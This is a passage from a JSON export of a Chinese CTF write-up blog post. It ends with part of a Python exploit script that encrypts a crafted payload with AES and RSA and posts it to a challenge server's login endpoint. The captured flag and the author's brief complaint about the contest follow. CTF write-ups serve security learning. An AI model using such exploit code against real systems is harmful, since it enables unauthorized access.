aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)\n    b2 = base64.b64encode(aes.encrypt(pad(inner_payload.encode(), 16))).decode()\n\n    rsa = PKCS1_v1_5.new(RSA.import_key(RSA_PUB))\n    a1 = base64.b64encode(rsa.encrypt(aes_key)).decode()\n\n    return json.dumps({\"a1\": a1, \"b2\": b2})\n\ndef pwn():\n    url = \"http:\/\/120.48.104.4:2788\/24ab99d75d3327cf3c46\/login\"\n    headers = {\"Content-Type\": \"application\/json\"}\n\n    try:\n        req = requests.post(url, data=build_payload(), headers=headers)\n        print(req.text)\n    except Exception as e:\n        pass\n\nif __name__ == '__main__':\n    pwn()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-378-1024x75.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"75\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-378-1024x75.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3389\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{adde035c89b5fb477e43b1ef78c8d890}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u603b\u7ed3<\/h1>\n\n\n\n<p>\u9898\u76ee\u8fd8\u884c\uff0c\u4f46\u662fMisc \u4e0d\u50cfmisc misc\u4e3a\u4ec0\u4e48\u4f1a\u6709web\u9898\u76ee\uff1f\u5c31\u5f88\u5947\u602a\uff1f\u597d\u7d2f\u554a\uff0c\u6709\u70b9\u5fae\u6b7b\uff0c\u5355\u4eba\u8d5b\u9898\u91cf\u592a\u591a\u4e86\u5427 \u5c31\u4e00\u4e2a\u4eba\u89e3\uff0c\u4f20\u7edf\u6d3e\u89e3\u4e0d\u52a8\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u5c31\u5468\u65e5\u6709\u65f6\u95f4\u89e3\uff0c\u89e3\u4e86\u4e00\u5929\uff0c\u7ebf\u4e0a\u9898\u76ee\u771f\u7684\u8d8a\u6765\u8d8a\u96be\u4e86\uff0c\u4f20\u7edf\u6d3e\u6839\u672c\u89e3\u4e0d\u52a8\uff0c\u5c31\u89e3\u51fa\u4e00\u534a\u3002 \u961f\u4f0dID:\u53c1\u7396 \u603b\u6392\u540d [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3390,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,28],"tags":[],"class_list":["post-3220","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-polaris-ctf"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/3220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3220"}],"version-history":[{"count":3,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/3220\/revisions"}],"predecessor-version":[{"id":3395,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/3220\/revisions\/3395"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/media\/3390"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}